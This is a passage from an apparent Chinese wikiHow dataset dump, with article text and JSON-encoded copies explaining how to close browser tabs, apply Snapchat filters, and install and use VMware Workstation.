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"回答明细": "{\"回答\": \"1. 在英特网浏览器上关闭选项卡\\n1-1. 使用你的鼠标或触摸板将指针放在每个浏览器选项卡的“x”上。\\n“x”位于选项卡图标和标题的右侧。\\n1-2. 点击“x”。\\n你的选项卡就会被立即关闭。\\n1-3. 使用你的键盘选择关闭选项卡。\\n首先确保当前的活动页面就是你想要关闭的选项卡。然后使用一下快捷方式关闭它：\\n如果你使用的系统是Windows或Linux系统，那么同时按下控制（Ctrl）键和字母“w”键。\\n如果你使用的是Mac电脑，那么同时按下Command键和字母“w”键。\\n1-4. 使用你的鼠标按钮关闭选项卡。\\n右键点击你想要关闭的选项卡，然后选择下拉菜单中的“关闭选项卡”选项。\\n1-5. 当你想要在火狐浏览器、Safari、和英特网浏览器中关闭选项卡时，可根据上述方法来关闭选项卡。\\n\\n2. 在苹果设备上关闭选项卡\\n2-1. 点击你iPhone、iPod或iPad上的Safari。\\n点击右下方的选项卡。它看起来像是叠在一起的纸张。\\n2-2. 等待所有已经打开的选项卡竖直地出现在屏幕上，然后点击每个选项卡角落的“x”来关闭各个选项卡。\\n\\n2-3. 找到Safari选项卡底部的选项。\\n点击左下角的“隐私”，选择“关闭全部”，可以一下子关掉所有的标选项卡。\\n2-4. 再次点击“隐私”，返回到浏览模式，此时所有的选项卡都已关闭。\\n\\n3. 在Chrome上关闭选项卡\\n3-1. 打开浏览器。\\n这个浏览器可能是Chrome、Dolphin或者其它为智能手机设计的浏览器。大多数Android设备上的浏览器都是Chrome。\\n3-2. 查看已打开的选项卡。\\n所有的选项卡都水平排列在最上面，点击标签栏，查看你要关闭的选项卡。\\n3-3. 点击选项卡右侧的“x”。\\nAndroid浏览器最多允许你同时打开最多6个选项卡。\\n3-4. 同时关闭所有的选项卡。\\n点击选项卡切换图标，这个图标的样子是堆在一起的页面。点击“菜单”，选择“关闭所有选项卡”。这个选项在Android平板上不可用。\\n\", \"简要回答\": \"大部分网络浏览器和设备都允许你同时开启运行多个选项卡以保证你可同时访问多个网站。然而，同时运行多个选项卡会增加操作难度。阅读本文学习如何在常用设备和浏览器上关闭冗余的选项卡。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"在英特网浏览器上关闭选项卡\", \"步骤\": [{\"编号\": 1, \"标题\": \"使用你的鼠标或触摸板将指针放在每个浏览器选项卡的“x”上。\", \"描述\": \"“x”位于选项卡图标和标题的右侧。\"}, {\"编号\": 2, \"标题\": \"点击“x”。\", \"描述\": \"你的选项卡就会被立即关闭。\"}, {\"编号\": 3, \"标题\": \"使用你的键盘选择关闭选项卡。\", \"描述\": \"首先确保当前的活动页面就是你想要关闭的选项卡。然后使用一下快捷方式关闭它：\\n如果你使用的系统是Windows或Linux系统，那么同时按下控制（Ctrl）键和字母“w”键。\\n如果你使用的是Mac电脑，那么同时按下Command键和字母“w”键。\"}, {\"编号\": 4, \"标题\": \"使用你的鼠标按钮关闭选项卡。\", \"描述\": \"右键点击你想要关闭的选项卡，然后选择下拉菜单中的“关闭选项卡”选项。\"}, {\"编号\": 5, \"标题\": \"当你想要在火狐浏览器、Safari、和英特网浏览器中关闭选项卡时，可根据上述方法来关闭选项卡。\", \"描述\": \"\"}]}, {\"编号\": 2, \"标题\": \"在苹果设备上关闭选项卡\", \"步骤\": [{\"编号\": 1, \"标题\": \"点击你iPhone、iPod或iPad上的Safari。\", \"描述\": \"点击右下方的选项卡。它看起来像是叠在一起的纸张。\"}, {\"编号\": 2, \"标题\": \"等待所有已经打开的选项卡竖直地出现在屏幕上，然后点击每个选项卡角落的“x”来关闭各个选项卡。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"找到Safari选项卡底部的选项。\", \"描述\": \"点击左下角的“隐私”，选择“关闭全部”，可以一下子关掉所有的标选项卡。\"}, {\"编号\": 4, \"标题\": \"再次点击“隐私”，返回到浏览模式，此时所有的选项卡都已关闭。\", \"描述\": \"\"}]}, {\"编号\": 3, \"标题\": \"在Chrome上关闭选项卡\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开浏览器。\", \"描述\": \"这个浏览器可能是Chrome、Dolphin或者其它为智能手机设计的浏览器。大多数Android设备上的浏览器都是Chrome。\"}, {\"编号\": 2, \"标题\": \"查看已打开的选项卡。\", \"描述\": \"所有的选项卡都水平排列在最上面，点击标签栏，查看你要关闭的选项卡。\"}, {\"编号\": 3, \"标题\": \"点击选项卡右侧的“x”。\", \"描述\": \"Android浏览器最多允许你同时打开最多6个选项卡。\"}, {\"编号\": 4, \"标题\": \"同时关闭所有的选项卡。\", \"描述\": \"点击选项卡切换图标，这个图标的样子是堆在一起的页面。点击“菜单”，选择“关闭所有选项卡”。这个选项在Android平板上不可用。\"}]}]}}",
"问题明细": "",
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} | wikihow |
14,700 | 如何在Snapchat上使用滤镜 | 1. 启用滤镜
1-1. 打开“Snapchat”应用程序。
它的图标是黄色的，上面有一个白色的幽灵。
如果还未登录Snapchat，请先轻触，然后输入你的用户名（或电子邮箱地址）和密码。
1-2. 在拍摄界面，用手指向下滑动屏幕。
这样可以打开用户资料页面。
1-3. 轻触⚙️按钮。
它位于屏幕的右上角。
1-4. 向下滑动屏幕，轻触管理偏好设置按钮。
它位于“附加服务”部分中。
1-5. 向右滑动滤镜开关，它会变成绿色。
此时，已成功启用Snapchat的滤镜功能啦！
如果开关是绿色的，说明已经启用滤镜了。
2. 在照片上应用滤镜
2-1. 返回到拍摄界面。
轻触屏幕左上角的返回按钮，回到用户资料页面，然后向上滑动屏幕回到拍摄界面。
2-2. 长按屏幕。
几秒后，你会发现拍摄按钮的右侧弹出几个图标。
如果想要在你或好友的面部应用滤镜，请先将面部画面调整到屏幕的中央，然后轻触它。
轻触屏幕右上角的相机图标，来切换相机的拍摄方向（即切换前置或后置相机）。
2-3. 向右滑动屏幕，查看可用的滤镜。
常用的几款滤镜包括添加狗的脸部、鹿的脸部，以及换脸滤镜。
如果你张开嘴巴或挑眉毛，大部分滤镜还会更换出不同的特效。例如，添加狗狗的脸部滤镜后，如果你张开嘴巴，滤镜就会添加伸出舌头的特效。
2-4. 轻触屏幕底部的圆形按钮。
这会拍摄一张带有当前选择的滤镜的照片。
2-5. 向左或向右滑动照片，可以将滤镜拖拽到你的照片上。
几种常用的滤镜有：
时间滤镜
海拔滤镜
当前室外温度的滤镜
位置滤镜（例如，添加你所在的城市信息）。
如果是第一次使用位置滤镜，Snapchat程序可能会请求你授权程序访问你的位置。 如果你同意的话，请轻触 按钮。
2-6. 轻触滤镜，查看其它选项。
例如，使用温度滤镜时，轻触滤镜按钮，它会显示不同的温度格式（如华氏度或者摄氏度）。
2-7. 整合两个或多个滤镜。
具体操作是，先在照片上添加一个滤镜，用一根手指长按屏幕固定第一个滤镜，然后用另一个手指向左或向右滑动屏幕。
例如，你可以滑动到温度滤镜，然后长按屏幕，再滑动到城市滤镜，这样照片上就添加了温度和城市两个滤镜了。
有些滤镜是不能同时应用在一张照片上的（如时间和海拔滤镜）。
2-8. 完成后，发送照片。
轻触屏幕右下角的白色箭头按钮，选择一位好友，将照片发送给他（她）。也可以轻触屏幕底部的方形按钮（旁边有一个加号图标），将照片发布到“故事”中，这样，所有好友都可以浏览到你的照片。此时，你已经掌握了给照片添加滤镜的方法了，是时候尝试给视频应用滤镜了。
3. 在视频中使用滤镜
3-1. 长按屏幕。
几秒后，你会发现拍摄按钮的右侧弹出几个图标。
如果想要在你或好友的面部应用滤镜，请先将面部画面调整到屏幕的中央，然后轻触它。
轻触屏幕右上角的相机图标，来切换相机的拍摄方向（即切换前置或后置相机）。
3-2. 向右滑动屏幕，查看可用的滤镜。
常用的几款滤镜包括添加狗的脸部、鹿的脸部，以及换脸滤镜。
如果启用同声滤镜，那么它可以更改你的声音效果。这些效果将显示在屏幕的“变声器”列表中。
3-3. 长按屏幕底部的圆形按钮，拍摄一段视频。
用Snapchat拍摄的视频时长最多10秒钟。
3-4. 向左或向右滑动屏幕，选择可用的滤镜。
以下是几款常用的视频滤镜：
- 点击 图标，会倒着播放你的小视频。
- 兔子图标会加速播放视频。兔子图标（上下各带有一条横线）会极大地加快视频播放速度。另一个按钮会相对缓慢地增加播放速度。
- 蜗牛图标会将播放速度降为原来的一半。这样，原来时长为10秒的小视频就会变成时长为20秒的视频。
温度
时间
如果是第一次使用滤镜，Snapchat程序可能会请求你授权程序访问你的位置。 如果你同意的话，请轻触 按钮。
3-5. 轻触滤镜，查看其它选项。
例如，使用温度滤镜时，轻触滤镜按钮，它会显示不同的温度格式（如华氏度或者摄氏度）。
3-6. 同时添加两个或多个滤镜。
具体操作是，先在视频中添加一个滤镜，用一根手指长按屏幕固定第一个滤镜，然后用另一个手指向左或向右滑动屏幕。
例如，你可以滑动到黑白滤镜，然后长按它，再滑动到 滤镜。
有些滤镜是不能同时应用在视频上（如 和 滤镜）。
3-7. 完成后，发送视频。
轻触屏幕右下角的白色箭头按钮，选择一位好友，将视频发送给他（她）。也可以轻触屏幕底部的方形按钮（旁边有一个加号图标），将视频发布到“故事”中，这样，所有好友都可以浏览你的视频啦。
小提示
你可以在使用Snapchat拍摄照片和视频前，查阅相关文章，了解如何添加面部特效。
警告
如果Snapchat应用程序没有更新到最新版本，将无法使用最新发布的滤镜和特效。
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"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 启用滤镜\\n1-1. 打开“Snapchat”应用程序。\\n它的图标是黄色的，上面有一个白色的幽灵。\\n如果还未登录Snapchat，请先轻触，然后输入你的用户名（或电子邮箱地址）和密码。\\n1-2. 在拍摄界面，用手指向下滑动屏幕。\\n这样可以打开用户资料页面。\\n1-3. 轻触⚙️按钮。\\n它位于屏幕的右上角。\\n1-4. 向下滑动屏幕，轻触管理偏好设置按钮。\\n它位于“附加服务”部分中。\\n1-5. 向右滑动滤镜开关，它会变成绿色。\\n此时，已成功启用Snapchat的滤镜功能啦！\\n如果开关是绿色的，说明已经启用滤镜了。\\n2. 在照片上应用滤镜\\n2-1. 返回到拍摄界面。\\n轻触屏幕左上角的返回按钮，回到用户资料页面，然后向上滑动屏幕回到拍摄界面。\\n2-2. 长按屏幕。\\n几秒后，你会发现拍摄按钮的右侧弹出几个图标。\\n如果想要在你或好友的面部应用滤镜，请先将面部画面调整到屏幕的中央，然后轻触它。\\n轻触屏幕右上角的相机图标，来切换相机的拍摄方向（即切换前置或后置相机）。\\n2-3. 向右滑动屏幕，查看可用的滤镜。\\n常用的几款滤镜包括添加狗的脸部、鹿的脸部，以及换脸滤镜。\\n如果你张开嘴巴或挑眉毛，大部分滤镜还会更换出不同的特效。例如，添加狗狗的脸部滤镜后，如果你张开嘴巴，滤镜就会添加伸出舌头的特效。\\n2-4. 轻触屏幕底部的圆形按钮。\\n这会拍摄一张带有当前选择的滤镜的照片。\\n2-5. 向左或向右滑动照片，可以将滤镜拖拽到你的照片上。\\n几种常用的滤镜有：\\n时间滤镜\\n海拔滤镜\\n当前室外温度的滤镜\\n位置滤镜（例如，添加你所在的城市信息）。\\n如果是第一次使用位置滤镜，Snapchat程序可能会请求你授权程序访问你的位置。 如果你同意的话，请轻触 按钮。\\n2-6. 轻触滤镜，查看其它选项。\\n例如，使用温度滤镜时，轻触滤镜按钮，它会显示不同的温度格式（如华氏度或者摄氏度）。\\n2-7. 整合两个或多个滤镜。\\n具体操作是，先在照片上添加一个滤镜，用一根手指长按屏幕固定第一个滤镜，然后用另一个手指向左或向右滑动屏幕。\\n例如，你可以滑动到温度滤镜，然后长按屏幕，再滑动到城市滤镜，这样照片上就添加了温度和城市两个滤镜了。\\n有些滤镜是不能同时应用在一张照片上的（如时间和海拔滤镜）。\\n2-8. 完成后，发送照片。\\n轻触屏幕右下角的白色箭头按钮，选择一位好友，将照片发送给他（她）。也可以轻触屏幕底部的方形按钮（旁边有一个加号图标），将照片发布到“故事”中，这样，所有好友都可以浏览到你的照片。此时，你已经掌握了给照片添加滤镜的方法了，是时候尝试给视频应用滤镜了。\\n3. 在视频中使用滤镜\\n3-1. 长按屏幕。\\n几秒后，你会发现拍摄按钮的右侧弹出几个图标。\\n如果想要在你或好友的面部应用滤镜，请先将面部画面调整到屏幕的中央，然后轻触它。\\n轻触屏幕右上角的相机图标，来切换相机的拍摄方向（即切换前置或后置相机）。\\n3-2. 向右滑动屏幕，查看可用的滤镜。\\n常用的几款滤镜包括添加狗的脸部、鹿的脸部，以及换脸滤镜。\\n如果启用同声滤镜，那么它可以更改你的声音效果。这些效果将显示在屏幕的“变声器”列表中。\\n3-3. 长按屏幕底部的圆形按钮，拍摄一段视频。\\n用Snapchat拍摄的视频时长最多10秒钟。\\n3-4. 向左或向右滑动屏幕，选择可用的滤镜。\\n以下是几款常用的视频滤镜：\\n\\n - 点击 图标，会倒着播放你的小视频。\\n - 兔子图标会加速播放视频。兔子图标（上下各带有一条横线）会极大地加快视频播放速度。另一个按钮会相对缓慢地增加播放速度。\\n - 蜗牛图标会将播放速度降为原来的一半。这样，原来时长为10秒的小视频就会变成时长为20秒的视频。\\n温度\\n时间\\n如果是第一次使用滤镜，Snapchat程序可能会请求你授权程序访问你的位置。 如果你同意的话，请轻触 按钮。\\n3-5. 轻触滤镜，查看其它选项。\\n例如，使用温度滤镜时，轻触滤镜按钮，它会显示不同的温度格式（如华氏度或者摄氏度）。\\n3-6. 同时添加两个或多个滤镜。\\n具体操作是，先在视频中添加一个滤镜，用一根手指长按屏幕固定第一个滤镜，然后用另一个手指向左或向右滑动屏幕。\\n例如，你可以滑动到黑白滤镜，然后长按它，再滑动到 滤镜。\\n有些滤镜是不能同时应用在视频上（如 和 滤镜）。\\n3-7. 完成后，发送视频。\\n轻触屏幕右下角的白色箭头按钮，选择一位好友，将视频发送给他（她）。也可以轻触屏幕底部的方形按钮（旁边有一个加号图标），将视频发布到“故事”中，这样，所有好友都可以浏览你的视频啦。\\n小提示\\n你可以在使用Snapchat拍摄照片和视频前，查阅相关文章，了解如何添加面部特效。\\n警告\\n如果Snapchat应用程序没有更新到最新版本，将无法使用最新发布的滤镜和特效。\\n\", \"简要回答\": \"这篇文章将教你如何启用Snapchat滤镜，以及如何在照片和视频上添加、应用可视化的滤镜。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"启用滤镜\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“Snapchat”应用程序。\", \"描述\": \"它的图标是黄色的，上面有一个白色的幽灵。\\n如果还未登录Snapchat，请先轻触，然后输入你的用户名（或电子邮箱地址）和密码。\"}, {\"编号\": 2, \"标题\": \"在拍摄界面，用手指向下滑动屏幕。\", \"描述\": \"这样可以打开用户资料页面。\"}, {\"编号\": 3, \"标题\": \"轻触⚙️按钮。\", \"描述\": \"它位于屏幕的右上角。\"}, {\"编号\": 4, \"标题\": \"向下滑动屏幕，轻触管理偏好设置按钮。\", \"描述\": \"它位于“附加服务”部分中。\"}, {\"编号\": 5, \"标题\": \"向右滑动滤镜开关，它会变成绿色。\", \"描述\": \"此时，已成功启用Snapchat的滤镜功能啦！\\n如果开关是绿色的，说明已经启用滤镜了。\"}]}, {\"编号\": 2, \"标题\": \"在照片上应用滤镜\", \"步骤\": [{\"编号\": 1, \"标题\": \"返回到拍摄界面。\", \"描述\": \"轻触屏幕左上角的返回按钮，回到用户资料页面，然后向上滑动屏幕回到拍摄界面。\"}, {\"编号\": 2, \"标题\": \"长按屏幕。\", \"描述\": \"几秒后，你会发现拍摄按钮的右侧弹出几个图标。\\n如果想要在你或好友的面部应用滤镜，请先将面部画面调整到屏幕的中央，然后轻触它。\\n轻触屏幕右上角的相机图标，来切换相机的拍摄方向（即切换前置或后置相机）。\"}, {\"编号\": 3, \"标题\": \"向右滑动屏幕，查看可用的滤镜。\", \"描述\": \"常用的几款滤镜包括添加狗的脸部、鹿的脸部，以及换脸滤镜。\\n如果你张开嘴巴或挑眉毛，大部分滤镜还会更换出不同的特效。例如，添加狗狗的脸部滤镜后，如果你张开嘴巴，滤镜就会添加伸出舌头的特效。\"}, {\"编号\": 4, \"标题\": \"轻触屏幕底部的圆形按钮。\", \"描述\": \"这会拍摄一张带有当前选择的滤镜的照片。\"}, {\"编号\": 5, \"标题\": \"向左或向右滑动照片，可以将滤镜拖拽到你的照片上。\", \"描述\": \"几种常用的滤镜有：\\n时间滤镜\\n海拔滤镜\\n当前室外温度的滤镜\\n位置滤镜（例如，添加你所在的城市信息）。\\n如果是第一次使用位置滤镜，Snapchat程序可能会请求你授权程序访问你的位置。 如果你同意的话，请轻触 按钮。\"}, {\"编号\": 6, \"标题\": \"轻触滤镜，查看其它选项。\", \"描述\": \"例如，使用温度滤镜时，轻触滤镜按钮，它会显示不同的温度格式（如华氏度或者摄氏度）。\"}, {\"编号\": 7, \"标题\": \"整合两个或多个滤镜。\", \"描述\": \"具体操作是，先在照片上添加一个滤镜，用一根手指长按屏幕固定第一个滤镜，然后用另一个手指向左或向右滑动屏幕。\\n例如，你可以滑动到温度滤镜，然后长按屏幕，再滑动到城市滤镜，这样照片上就添加了温度和城市两个滤镜了。\\n有些滤镜是不能同时应用在一张照片上的（如时间和海拔滤镜）。\"}, {\"编号\": 8, \"标题\": \"完成后，发送照片。\", \"描述\": \"轻触屏幕右下角的白色箭头按钮，选择一位好友，将照片发送给他（她）。也可以轻触屏幕底部的方形按钮（旁边有一个加号图标），将照片发布到“故事”中，这样，所有好友都可以浏览到你的照片。此时，你已经掌握了给照片添加滤镜的方法了，是时候尝试给视频应用滤镜了。\"}]}, {\"编号\": 3, \"标题\": \"在视频中使用滤镜\", \"步骤\": [{\"编号\": 1, \"标题\": \"长按屏幕。\", \"描述\": \"几秒后，你会发现拍摄按钮的右侧弹出几个图标。\\n如果想要在你或好友的面部应用滤镜，请先将面部画面调整到屏幕的中央，然后轻触它。\\n轻触屏幕右上角的相机图标，来切换相机的拍摄方向（即切换前置或后置相机）。\"}, {\"编号\": 2, \"标题\": \"向右滑动屏幕，查看可用的滤镜。\", \"描述\": \"常用的几款滤镜包括添加狗的脸部、鹿的脸部，以及换脸滤镜。\\n如果启用同声滤镜，那么它可以更改你的声音效果。这些效果将显示在屏幕的“变声器”列表中。\"}, {\"编号\": 3, \"标题\": \"长按屏幕底部的圆形按钮，拍摄一段视频。\", \"描述\": \"用Snapchat拍摄的视频时长最多10秒钟。\"}, {\"编号\": 4, \"标题\": \"向左或向右滑动屏幕，选择可用的滤镜。\", \"描述\": \"以下是几款常用的视频滤镜：\\n\\n - 点击 图标，会倒着播放你的小视频。\\n - 兔子图标会加速播放视频。兔子图标（上下各带有一条横线）会极大地加快视频播放速度。另一个按钮会相对缓慢地增加播放速度。\\n - 蜗牛图标会将播放速度降为原来的一半。这样，原来时长为10秒的小视频就会变成时长为20秒的视频。\\n温度\\n时间\\n如果是第一次使用滤镜，Snapchat程序可能会请求你授权程序访问你的位置。 如果你同意的话，请轻触 按钮。\"}, {\"编号\": 5, \"标题\": \"轻触滤镜，查看其它选项。\", \"描述\": \"例如，使用温度滤镜时，轻触滤镜按钮，它会显示不同的温度格式（如华氏度或者摄氏度）。\"}, {\"编号\": 6, \"标题\": \"同时添加两个或多个滤镜。\", \"描述\": \"具体操作是，先在视频中添加一个滤镜，用一根手指长按屏幕固定第一个滤镜，然后用另一个手指向左或向右滑动屏幕。\\n例如，你可以滑动到黑白滤镜，然后长按它，再滑动到 滤镜。\\n有些滤镜是不能同时应用在视频上（如 和 滤镜）。\"}, {\"编号\": 7, \"标题\": \"完成后，发送视频。\", \"描述\": \"轻触屏幕右下角的白色箭头按钮，选择一位好友，将视频发送给他（她）。也可以轻触屏幕底部的方形按钮（旁边有一个加号图标），将视频发布到“故事”中，这样，所有好友都可以浏览你的视频啦。\"}], \"小提示\": [\"你可以在使用Snapchat拍摄照片和视频前，查阅相关文章，了解如何添加面部特效。\\n\"], \"注意事项\": [\"如果Snapchat应用程序没有更新到最新版本，将无法使用最新发布的滤镜和特效。\\n\"]}]}}",
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} | wikihow |
14,701 | 如何使用VMware Workstation | 1. 安装虚拟工作站
1-1. 确定你的电脑符合系统要求。
因为你需要从你自己的操作系统运行一个操作系统，所以虚拟机工作站有相当高的系统要求。如果你达不到这些要求，你可能就无法有效运行虚拟机。
你必须有64位的处理器。
虚拟机支持Windows和Linux操作系统。
你必须有足够的内存运行你的操作系统、虚拟操作系统，以及操作系统内的任何程序。内存至少要1G，但是建议内存有3G或以上。
你必须有16位或32位的显示适配器。3D效果可能在虚拟操作系统内无法正常工作，因此通常无法运行游戏。
你至少需要1.5G的空间来安装虚拟机工作站，你安装的每个系统至少有1G的空间。
1-2. 下载虚拟机软件。
你可以从虚拟机网站的下载中心下载虚拟机安装程序。选择一个最新的版本，点击链接进行安装。你需要用你虚拟机的用户名登录虚拟机。
下载文件之前，你需要阅读并浏览许可协议。
你一次只需要装一个版本的虚拟机工作站。
1-3. 安装虚拟机工作站。
下载了文件之后，右击文件并选择“以管理者运行”。
你需要再次阅读许可协议。
大多数用户都能使用安装选项。
安装结束后，你需要输入许可证密码。
安装完成之后，重启电脑。
2. 安装一个操作系统
2-1. 打开虚拟机。
在普通电脑上安装一个虚拟操作系统。你需要有一个安装盘或是ISO镜像，以及你想要安装的操作系统的许可证。
你可以安装Linux发布最多的系统，以及任何一个Windows版本。
2-2. 点击文件。
选择新虚拟机并且选择典型。虚拟机会提示你安装媒体。如果它能识别操作系统，就可以启动简易安装：
物理光盘——插入你想要安装的操作系统的安装盘，并选择一个盘安装虚拟机。
ISO 镜像——浏览你电脑ISO文件的所在位置。
然后安装操作系统。这样将会创建一个空白的虚拟磁盘。你之后需要手动安装操作系统。
2-3. 进入操作系统的细节。
对于Windows和其他有许可的操作系统，你需要输入产品验证码。如果你想要用户名和密码，你也需要输入它们。
如果你不用简易安装，你需要浏览你正在安装的操作系统列表。
2-4. 命名你的虚拟机。
这个名字有助于你在物理电脑上识别出虚拟机，有助于区分运行不同操作系统的多个虚拟电脑。
2-5. 设置磁盘大小。
你可以分配电脑上任何大小的空间给虚拟机，以作为安装的操作系统的硬盘。确保设定了足够的空间来安装你想在虚拟机上运行的程序。
2-6. 自定义你机器的虚拟硬盘。
你可以点击“自定义硬盘”来设置虚拟机，从而模拟特定的硬盘。如果你想运行那些只支持特定硬盘的老程序，那么这就很有用。设置它为可选的。
2-7. 启动虚拟机。
如果你想创建之后马上就允许虚拟机运行，勾选“创建之后以虚拟机启动”旁边的勾选栏。如果你不勾选这个勾选栏，你可以从虚拟机程序中选择你的虚拟机，然后点击启动按钮。
2-8. 等待安装的完成。
第一时间启动虚拟机之后，操作系统将自动安装。如果你在虚拟机安装过程中都提供了正确的信息，那么就不需要做任何事了。
如果你没有输入验证码，或没有在安装过程中创建用户名，那么在操作系统安装过程中就会提示你。
2-9. 勾选安装的虚拟机工具。
操作系统安装之后，虚拟工具程序应该就会自动安装。查看桌面或是程序文件夹，看看新安装的操作系统。
虚拟机工具是对你的虚拟机的配置选项。并且可以让你的虚拟机保持与任何软件修改的数据同步。
3. 进入虚拟机
3-1. 启动一个虚拟机。
要启动虚拟机，点击虚拟菜单，选择你想启动的虚拟机。你可以正常方式启动虚拟机，也可以从虚拟的BIOS进入。
3-2. 停止虚拟机的运行。
要停止虚拟机，选择它并点击虚拟菜单。选择电源选项。
关闭电源——如果电源关闭，虚拟机就会关机。
关闭客户端——这样会发送一条关闭信号给虚拟机，因此只要你选择了关闭选项，虚拟机就会关机。
你也可以在虚拟操作系统中用关机选项来关闭虚拟机。
3-3. 在虚拟机和物理机之间移动文件。
在虚拟机和物理机之间移动文件，只需要拖曳和放下就行了。文件可以从虚拟机移动到电脑，也可以相反，还可以从一个虚拟机移动到另一个虚拟机上。
到你拖曳并放下文件时，原始文件会留在原来的位置，而副本会在新位置创建。
你也可以用剪切粘贴来移动文件。
虚拟机也可以连接共享文件夹。
3-4. 添加打印机到你的虚拟机。
不需要安装任何额外的驱动，驱动已经装在你的主机上了，你就可以添加任何打印机到你的虚拟机。
选择你想添加打印机的虚拟机。
点击虚拟菜单，选择设置。
点击硬件标签，点击添加。这样就可以添加硬件安装导向了。
选择打印机然后点击完成。下次进入虚拟机时，打印机就可以启动了。
3-5. 连接USB驱动到虚拟机。
虚拟机如同普通的操作系统一样，可以用USB驱动。USB驱动无法从主机和虚拟机同时进入。
如果虚拟机是激活的窗口，USB驱动插入时会自动连接到虚拟机。
如果虚拟机不是激活的窗口，或者没有运行，选择虚拟机并点击虚拟菜单。选择可移动磁盘，然后点击连接。USB驱动会自动连接到虚拟机。
3-6. 给虚拟机留下快照。
快照就是一个保存了的状态，可以让你随时将虚拟机载入那个时刻的状态。
选择你的虚拟机，点击虚拟菜单，在截图处点击快照。
命名快照。你也可以给快照做个描述，这是可选的。
点击OK保存快照。
点击虚拟菜单，然后选择一个快照，从而载入已保存的快照。从列表中选取一个你想载入的快照，点击进入。
3-7. 熟悉键盘快捷键。
用“Ctrl”加某个键可以用来操纵虚拟机。比如“Ctrl”、“Alt”加“Enter”能以全屏模式进入虚拟机或是移动到多台机器上。当鼠标只能在一台机器上使用时，“Ctrl”、“Alt”加“Tab”可以在虚拟机之间切换。
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"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 安装虚拟工作站\\n1-1. 确定你的电脑符合系统要求。\\n因为你需要从你自己的操作系统运行一个操作系统，所以虚拟机工作站有相当高的系统要求。如果你达不到这些要求，你可能就无法有效运行虚拟机。\\n你必须有64位的处理器。\\n虚拟机支持Windows和Linux操作系统。\\n你必须有足够的内存运行你的操作系统、虚拟操作系统，以及操作系统内的任何程序。内存至少要1G，但是建议内存有3G或以上。\\n你必须有16位或32位的显示适配器。3D效果可能在虚拟操作系统内无法正常工作，因此通常无法运行游戏。\\n你至少需要1.5G的空间来安装虚拟机工作站，你安装的每个系统至少有1G的空间。\\n1-2. 下载虚拟机软件。\\n你可以从虚拟机网站的下载中心下载虚拟机安装程序。选择一个最新的版本，点击链接进行安装。你需要用你虚拟机的用户名登录虚拟机。\\n下载文件之前，你需要阅读并浏览许可协议。\\n你一次只需要装一个版本的虚拟机工作站。\\n1-3. 安装虚拟机工作站。\\n下载了文件之后，右击文件并选择“以管理者运行”。\\n你需要再次阅读许可协议。\\n大多数用户都能使用安装选项。\\n安装结束后，你需要输入许可证密码。\\n安装完成之后，重启电脑。\\n2. 安装一个操作系统\\n2-1. 打开虚拟机。\\n在普通电脑上安装一个虚拟操作系统。你需要有一个安装盘或是ISO镜像，以及你想要安装的操作系统的许可证。\\n你可以安装Linux发布最多的系统，以及任何一个Windows版本。\\n2-2. 点击文件。\\n选择新虚拟机并且选择典型。虚拟机会提示你安装媒体。如果它能识别操作系统，就可以启动简易安装：\\n物理光盘——插入你想要安装的操作系统的安装盘，并选择一个盘安装虚拟机。\\nISO 镜像——浏览你电脑ISO文件的所在位置。\\n然后安装操作系统。这样将会创建一个空白的虚拟磁盘。你之后需要手动安装操作系统。\\n2-3. 进入操作系统的细节。\\n对于Windows和其他有许可的操作系统，你需要输入产品验证码。如果你想要用户名和密码，你也需要输入它们。\\n如果你不用简易安装，你需要浏览你正在安装的操作系统列表。\\n2-4. 命名你的虚拟机。\\n这个名字有助于你在物理电脑上识别出虚拟机，有助于区分运行不同操作系统的多个虚拟电脑。\\n2-5. 设置磁盘大小。\\n你可以分配电脑上任何大小的空间给虚拟机，以作为安装的操作系统的硬盘。确保设定了足够的空间来安装你想在虚拟机上运行的程序。\\n2-6. 自定义你机器的虚拟硬盘。\\n你可以点击“自定义硬盘”来设置虚拟机，从而模拟特定的硬盘。如果你想运行那些只支持特定硬盘的老程序，那么这就很有用。设置它为可选的。\\n2-7. 启动虚拟机。\\n如果你想创建之后马上就允许虚拟机运行，勾选“创建之后以虚拟机启动”旁边的勾选栏。如果你不勾选这个勾选栏，你可以从虚拟机程序中选择你的虚拟机，然后点击启动按钮。\\n2-8. 等待安装的完成。\\n第一时间启动虚拟机之后，操作系统将自动安装。如果你在虚拟机安装过程中都提供了正确的信息，那么就不需要做任何事了。\\n如果你没有输入验证码，或没有在安装过程中创建用户名，那么在操作系统安装过程中就会提示你。\\n2-9. 勾选安装的虚拟机工具。\\n操作系统安装之后，虚拟工具程序应该就会自动安装。查看桌面或是程序文件夹，看看新安装的操作系统。\\n虚拟机工具是对你的虚拟机的配置选项。并且可以让你的虚拟机保持与任何软件修改的数据同步。\\n3. 进入虚拟机\\n3-1. 启动一个虚拟机。\\n要启动虚拟机，点击虚拟菜单，选择你想启动的虚拟机。你可以正常方式启动虚拟机，也可以从虚拟的BIOS进入。\\n3-2. 停止虚拟机的运行。\\n要停止虚拟机，选择它并点击虚拟菜单。选择电源选项。\\n关闭电源——如果电源关闭，虚拟机就会关机。\\n关闭客户端——这样会发送一条关闭信号给虚拟机，因此只要你选择了关闭选项，虚拟机就会关机。\\n你也可以在虚拟操作系统中用关机选项来关闭虚拟机。\\n3-3. 在虚拟机和物理机之间移动文件。\\n在虚拟机和物理机之间移动文件，只需要拖曳和放下就行了。文件可以从虚拟机移动到电脑，也可以相反，还可以从一个虚拟机移动到另一个虚拟机上。\\n到你拖曳并放下文件时，原始文件会留在原来的位置，而副本会在新位置创建。\\n你也可以用剪切粘贴来移动文件。\\n虚拟机也可以连接共享文件夹。\\n3-4. 添加打印机到你的虚拟机。\\n不需要安装任何额外的驱动，驱动已经装在你的主机上了，你就可以添加任何打印机到你的虚拟机。\\n选择你想添加打印机的虚拟机。\\n点击虚拟菜单，选择设置。\\n点击硬件标签，点击添加。这样就可以添加硬件安装导向了。\\n选择打印机然后点击完成。下次进入虚拟机时，打印机就可以启动了。\\n3-5. 